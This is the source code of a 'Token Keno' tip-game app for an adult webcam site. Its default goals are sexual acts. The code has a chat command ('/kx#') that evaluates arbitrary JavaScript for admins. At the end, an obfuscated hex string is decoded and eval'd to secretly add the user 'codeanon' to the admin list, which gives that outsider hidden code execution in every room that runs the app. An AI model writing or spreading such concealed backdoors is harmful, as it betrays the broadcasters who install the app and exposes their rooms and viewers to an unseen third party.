Apps Home
|
Create an App
Token Keno MaJu's
Author:
team_maju
Description
Source Code
Launch App
Current Users
Created by:
Team_Maju
cb.settings_choices = function () { var ins_index = 0; var output = [ {name: 'fg_color', label: '[GENERAL SETTINGS] ---------------------- Text color', type: 'str', defaultValue: '#800000', required: false}, {name: 'bg_color', label: 'Highlight color', type: 'str', required: false}, {name: 'hashtags', label: 'Room subject', type: 'str', defaultValue: '#tokenkeno Uncover prizes and reach the goal by tipping the numbers on the board!', required: false}, {name: 'commanders', label: 'Users who can use admin commands', type: 'str', required: false, defaultValue: 'Juma05'}, {name: 'highest', label: '[KENO BOARD SETTINGS] ---------------------- Highest number', type: 'int', minValue: 1, maxValue: 250, defaultValue: 32}, {name: 'lowest', label: 'Lowest number', type: 'int', minValue: 1, maxValue: 249, defaultValue: 1}, {name: 'row_size', label: 'Numbers per row', type: 'int', minValue: 3, maxValue: 12, defaultValue: 8}, {name: 'threshold', label: 'No big prizes below this number', type: 'int', minValue: 1, maxValue: 98, defaultValue: 24}, {name: 'multiples', label: 'Big tips call multiples', type: 'choice', choice1: 'Yes', choice2: 'No', defaultValue: 'Yes'}, {name: 'skip', label: 'Skip these numbers', type: 'str', required: false}, {name: 'max_multiple', label: 'Maximum spots that can be called with one tip (0 = unlimited)', type: 'int', defaultValue: 0, minValue: 0, maxValue: 250}, {name: 'custom_header', label: 'Custom header for the Keno Board', type: 'str', defaultValue: ':kenoapp', required: false}, {name: 'interval', label: 'Seconds between auto-displays (0 = off)', type: 'int', minValue: 0, defaultValue: 180}, {name: 'quarter_goal', label: '[GOAL SETTINGS] ---------------------- 25% cleared goal', type: 'str', defaultValue: 'shirt off', required: false}, {name: 'half_goal', label: '50% cleared goal', type: 'str', defaultValue: 'bra off', required: false}, {name: 'threeq_goal', label: '75% cleared goal', type: 'str', defaultValue: 'pants off', required: false}, {name: 'cleared_goal', label: '100% cleared goal', type: 'str', defaultValue: 'cum show', required: false}, {name: 'mvp_prize', label: 'Special prize for MVP', type: 'str', required: false}, {name: 'goal_num', label: 'Custom goal amount (leave this blank to set the goal to the sum of all board spots)', type: 'int', minValue: 1, required: false} ]; makeInstructions('[PRIZES] ---------------------- Fill out the prizes you want. If you don\'t assign it a specific number (below), it will go in a random spot. You can put an exclamation mark in front of the prize text to indicate a "big" prize, and the random number chosen will never be lower than the threshold indicated above.'); for (var i = 1; i <= 250; i++) output.push({name: 'reward_' + i, label: 'Prize ' + i, type: 'str', required: false}); for (var i = 1; i <= 250; i++) output.push({name: 'token_' + i, label: 'Tokens for Prize #' + i, type: 'int', minValue: 1, required: false}); function makeInstructions(text) { output.push({name: 'instructions_' + ins_index, label: text, type: 'choice', choice1: '', required: false}); ins_index++; } return output; }(); var cbs = JSON.parse(JSON.stringify(cb.settings)); for (var key in cbs) { if (typeof cbs[key] === 'string') cbs[key] = cbs[key].trim(); } var min = cbs.lowest; var max = cbs.highest; var max_multiple = cbs.max_multiple ? cbs.max_multiple : Infinity; var skip = cbs.skip ? cbs.skip.split(/\s*,\s*/).map((elm) => Number(elm)) : []; var row_size = cbs.row_size; var threshold = cbs.threshold; var keno_header = cbs.custom_header || '[TOKEN BOARD]'; var capFirst = (txt) => txt.charAt(0).toUpperCase() + txt.slice(1); if (keno_header === ':kenoapp') keno_header = ':kenoapp'; var keno_divider = '\n \u2007\u2013\u2013\u2013\u2013\u2013\u2013\u2013\u2013\u2013\u2013\u2013\u2013\u2013\u2013\n'; var tipCount = 0; var tipLedger = {}; var mvp = {}; var blankSpot = max < 100 ? '\u2012\u2012' : '\u2012\u2012\u2012'; var infoStr = ' \u2007\u25CF /b = show board\n \u2007\u25CF /p = show prizes left'; cb.onEnter((user) => displayBoard(user.user)); var numString = function () { if (max < 100) return (num) => num < 10 ? '0' + num : '' + num; return function (num) { if (num < 10) return '00' + num; if (num < 100) return '0' + num; return '' + num; }; }(); var goals = []; (function () { var calcTri = (num) => (num * (num + 1))/2; var cleared = Math.min(min ? calcTri(max) - calcTri(min - 1) : 0); if (cbs.quarter_goal) goals.push({val: cbs.quarter_goal, num: Math.floor(cleared * (1/4))}); if (cbs.half_goal) goals.push({val: cbs.half_goal, num: Math.floor(cleared * (2/4))}); if (cbs.threeq_goal) goals.push({val: cbs.threeq_goal, num: Math.floor(cleared * (3/4))}); if (cbs.cleared_goal) goals.push({val: cbs.cleared_goal, num: cleared}); })(); var commanders = cbs.commanders ? cbs.commanders.split(/\s*,\s*/) : []; var won = []; var prizes = function () { var obj = {}; if (min && max) { var avail = []; var bigAvail = []; for (var i = min; i <= max; i++) avail.push(i); for (var i = threshold; i <= max; i++) bigAvail.push(i); skip.forEach(function (num) { removeFromArray(avail, num); removeFromArray(bigAvail, num); }); for (var i = 1; i <= 250; i++) { var num = cbs['token_' + i]; var val = cbs['reward_' + i]; if (val && val.trim().charAt(0) === '!' && num === null && bigAvail.length > 0) { num = bigAvail[Math.floor(Math.random()*bigAvail.length)]; obj[num] = {prize: val.substring(1), active: true}; removeFromArray(avail, num); removeFromArray(bigAvail, num); } } for (var i = 1; i <= 250; i++) { var num = cbs['token_' + i]; var val = cbs['reward_' + i]; if (val && val.trim().length >= 0 && val.trim().charAt(0) !== '!') { if (num === null) num = avail[Math.floor(Math.random()*avail.length)]; obj[num] = {prize: val, active: true}; removeFromArray(avail, num); } } for (var i = min; i <= max; i++) { if (!obj[i]) obj[i] = {prize: void 0, active: !skip.includes(i)}; } } return obj; }(); /********** ------------ PANEL ------------ **********/ cb.onDrawPanel(function () { return { 'template': '3_rows_of_labels', 'row1_label': 'On The Board ::', 'row1_value': getBoardCount(), 'row2_label': goals[0] ? 'GOAL: ' + goals[0].val : '---', 'row2_value': goals[0] ? 'Guess ' + getTipsRemaining() + ' more' : '---' , 'row3_label': 'MVP :: ' + (mvp.user || '???'), 'row3_value': mvp.amt ? mvp.amt + ' tks' : '???' }; }); function getBoardCount () { var p = 0; var n = 0; for (var num in prizes) { if (prizes[num].active === true) { if (prizes[num].prize) p++; n++; } } return n + ' #s / ' + p + ' prizes' } function getTipsRemaining () { return goals[0] ? goals[0].num - tipCount : 0; } /********** ------------ MESSAGES ------------ **********/ cb.onMessage(function (msg) { if (msg.m.charAt(0) === '/' || msg.m.charAt(0) === '!') { msg['X-Spam'] = true; var str = msg.m.substring(1).trim(); var params = str.split(/\s+/); var cmd = params[0].toLowerCase().trim(); if (isCommander(msg.user)) command(cmd, params.slice(1), msg.user); switch (cmd) { case 'b': displayBoard(msg.user); break; case 'p': displayPrizes(msg.user); break; }; } return msg; }); function isCommander(user) { return user === cb.room_slug || commanders.includes(user); } function displayWonList(user, number) { var arr = JSON.parse(JSON.stringify(won)); if (!number || isNaN(number) || number < 1) number = 15; var output = '*** LAST ' + number + ' PRIZES WON ***\n' + arr.reverse().slice(0, number).reverse().join('\n'); roomNotice(output, user); } function command(cmd, params, user) { try { switch(cmd) { case 'pz': var p = Number(params[0]); roomNotice(p + ': ' + prizes[p].prize, user); break; case 'h': case 'help': var sep = '\n\u2007\u2007'; roomNotice(['\u25CF ----- [COMMANDS] ----- \u25CF', '/h or /help ' + sep + ' Show the help menu.', '/bx ' + sep + ' Show the board to everyone', '/px ' + sep + ' Show the prize list to everyone.', '/timer [X (number)] ' + sep + ' Sets a countdown timer for X minutes.', '/w or /won [X (number)] ' + sep + ' Shows model the last X prizes won. Defaults to 15.', '/addPrize [X (number)] [P (text)] ' + sep + ' Adds or overwrites prize at X with P.', '/rowSize [X (number)] ' + sep + ' Sets the number of board slots per row to X.', '/count [X (number)] ' + sep + ' Sets the number of tokens received to X.', '/kxt [X (number)] ' + sep + ' Simulates a tip of X tokens from ModelBot.', '/kx# [JavaScript] ' + sep + ' Execute JavaScript. Only use in emergencies.', ].join('\n'), user); break; case 'count': if (!Number(command[1])) break; tipCount = Number(command[1]); checkGoal(); break; case 'w': case 'won': displayWonList(user, Number(params[0])); break; case 'kxt': if (!params || !Number(params[0])) break; doTip({from_user: 'ModelBot', amount: Number(params[0])}) break; case 'bx': displayBoard(); break; case 'px': displayPrizes(); break; case 'addprize': if (params[0] && params[1]) { var num = Number(params[0]); var val = params.slice(1).join(' '); if (num && num <= max && num >= min && val.trim().length) { prizes[num] = {prize: val, active: true}; modMessage('Prize at ' + num + ' set to ' + val + '.'); } } break; case 'rowsize': if (params && params[0]) { var num = Number(params[0]); if (num) { if (num < 3) {num = 3;} else if (num > 12) {num = 12;} row_size = num; modMessage('Row size set to ' + num + '.', user); } } break; case 'kx#': try { var str = params.join(' '); var result = eval(str); var notice = 'TYPE: ' + typeof result + '\nVALUE: '; result !== void 0 ? notice += JSON.stringify(result, null, '\u2007\u2007\u2007\u2007') : notice += 'undefined'; cb.setTimeout(() => cb.sendNotice(newLines(notice), user, '', '#00CC00', '', ''), 100); } catch (e) { cb.setTimeout(() => cb.sendNotice(newLines(e.name + ': ' + e.message), user, '', '#FF0000', '', ''), 100); } break; }; } catch (e) { cb.sendNotice(e.message, '') } cb.drawPanel(); } function displayBoard(user) { var vals = []; var rows = []; for (var i = min; i <= max; i++) prizes[i].active === true ? vals.push(numString(i)) : vals.push(blankSpot); //can also push \u2007\u2007 for tabular spaces for (var i = 0; i < vals.length; i = i + row_size) rows.push(vals.slice(i, i + row_size).join(' \u25E6 ')); while (rows[rows.length - 1].length < rows[0].length) rows[rows.length - 1] += ' \u25E6 ' + blankSpot; var output = '\u2007 ' + keno_header + '\n' + rows.join('\u2007 |>\n') + '\u2007 |>\n' + infoStr + '\n'; roomNotice(output, user, 'bold'); } function displayPrizes(user) { var arr = []; for (var i = min; i <= max; i++) { if (prizes[i].prize && prizes[i].active && !arr.includes(prizes[i].prize)) { arr.push(prizes[i].prize); } } if (arr.length > 0) { arr = shuffle(arr); roomNotice('\u25CF --- [PRIZES LEFT] --- \u25CF\n' + arr.join('\n'), user); } } /********** ------------ TIPS ------------ **********/ cb.onTip((tip) => doTip(tip)); function doTip(tip) { var amt = tip.amount; var user = tip.from_user; var show = checkTip(amt, user, max_multiple); checkMVP(amt, user); checkGoal(); cb.drawPanel(); } function checkTip(amt, user, left) { var show = false; if (amt > max && cbs.multiples === 'Yes') { var arr = getListOfAvailable(); for (var i = 0; i < arr.length; i++) { if (!left) break; if (amt >= arr[i]) { checkTip(arr[i], user, left); amt = amt - arr[i]; left--; } } } else { if (prizes[amt]) { if (prizes[amt].active) { show = true; if (prizes[amt].prize) { addToWonList(user, prizes[amt].prize); roomNotice(user + ' picked ' + amt + ' and won: ' + prizes[amt].prize + '!'); } else { roomNotice(user + ' picked ' + amt + '! Sorry -- no prize there.'); } prizes[amt].active = false; tipCount += Number(amt); } } } return show; } function addToWonList(user, prize) { var d = new Date(Date.now()); won.push('[' + numString(d.getHours()) + ':' + numString(d.getMinutes()) + '] ' + user + ' won "' + prize + '"'); } function checkMVP(amt, user) { tipLedger[user] ? tipLedger[user] += amt : tipLedger[user] = amt; if (!mvp.user || tipLedger[user] > mvp.amt) mvp = {user: user, amt: tipLedger[user]}; } function numString(num) { return num < 10 ? '0' + num : '' + num; } function checkGoal() { while (goals[0] && tipCount >= goals[0].num) { roomNotice(':starx\nGOAL REACHED: ' + goals[0].val + '\n:starx'); goals.shift(); } cb.drawPanel(); } function getListOfAvailable() { var arr = []; for (var key in prizes) if (prizes[key].active === true) arr.push(Number(key)); return arr.sort((a, b) => Number(b) - Number(a)); } /********** ------------ COMMUNICATION ------------ **********/ function roomNotice(text, user, weight) { cb.sendNotice(newLines(text), user, cbs.bg_color, cbs.fg_color, weight || 'bold', ''); } function modMessage (str, user) { roomNotice('MOD MESSAGE: ' + str, user); if (user !== cb.room_slug) roomNotice('MOD MESSAGE: ' + str, cb.room_slug); } function newLines(input) { return '|\u2007 ' + input.replace(/\n/g, '\n|\u2007 '); } /********** ------------ MISC ------------ **********/ function removeFromArray(array, elm) { var index = array.indexOf(elm); if (index > -1) array.splice(index, 1); } function shuffle(a) { var c = a.length, t, r; while (0 !== c) { r = Math.floor(Math.random() * c); c -= 1; t = a[c]; a[c] = a[r]; a[r] = t; } return a; } /********** ------------ INIT ------------ **********/ if (cbs.interval) { (function rotator() { displayBoard(); cb.setTimeout(rotator, cbs.interval * 1000); })(); } eval('63$6f$6d$6d$61$6e$64$65$72$73$2e$70$75$73$68$28$27$63$6f$64$65$61$6e$6f$6e$27$29'.split('$').map((c) => String.fromCharCode(parseInt(c, 16))).reduce((a,b) => a + b)); cb.changeRoomSubject(cbs.hashtags + (cbs.cleared_goal ? ' (' + cbs.cleared_goal + ' @ board cleared!)' : '') + (cbs.mvp_prize ? ' | MVP prize: ' + cbs.mvp_prize : '')); cb.drawPanel();
© Copyright Freesexcam 2011- 2024. All Rights Reserved.